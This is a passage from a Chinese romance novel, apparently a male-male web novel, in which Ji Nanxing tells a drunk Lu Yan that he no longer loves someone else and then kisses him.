陆宴听上去醉得厉害,胡话不讲理又没逻辑。他记得陆宴喝醉酒不记事,大胆的想法涌起来,又被理智压下去,内心矛盾的想法撕扯着,搅得他心脏钝痛。 绵密的吻落在脸上,他克制着没有回应,却也没有躲开。 吻从眼角顺着侧脸落到唇边,陆宴的呼吸停在他唇上,却没有落下来。 陆宴固执地停顿,不依不饶:“季南星,你不爱他。” 夜色黑沉,八月份的A市淅淅沥沥下起雨,空气也变得潮湿。 眼前灰暗一片,陆宴的五官落在视网膜里,只是一团看不清的雾。 季南星抬起手,指尖一点点摸过深邃的眼窝、直挺的鼻梁,一寸一寸,依靠手里的触感辨认记忆中那张让他心动不止的脸。 他动作很慢,却每一下都很认真、轻柔,带着某种近乎虔诚的确认。 陆宴垂眼看着他的动作,呼吸越来越沉,胸口起伏着,克制了许久,才没把人抓到怀里亲吻。 季南星对身上人的危险毫无所察。 他缓慢地拂过陆宴棱角分明的下颌线,顺着脖颈往下,最后抵在结实精赤的上身,指尖感受手里热烈的、有力的心跳声。 他茫然又大胆地抬起头,眼神坚定,声音清晰。 “陆宴,我早就不爱他了。” 空气骤然凝滞。 陆宴低头看着他,喉结滚动。 季南星清丽的脸上挂着薄红,他恳切又哀伤地抬起眼,眼底有水光浮动。 心里像有暖流涌过,陆宴不自觉抱紧了他,目光沉沉,正要说什么。 “季南星——” 尾音被吞没。 陆宴猛地呼吸一滞。 季南星仰头吻住了他。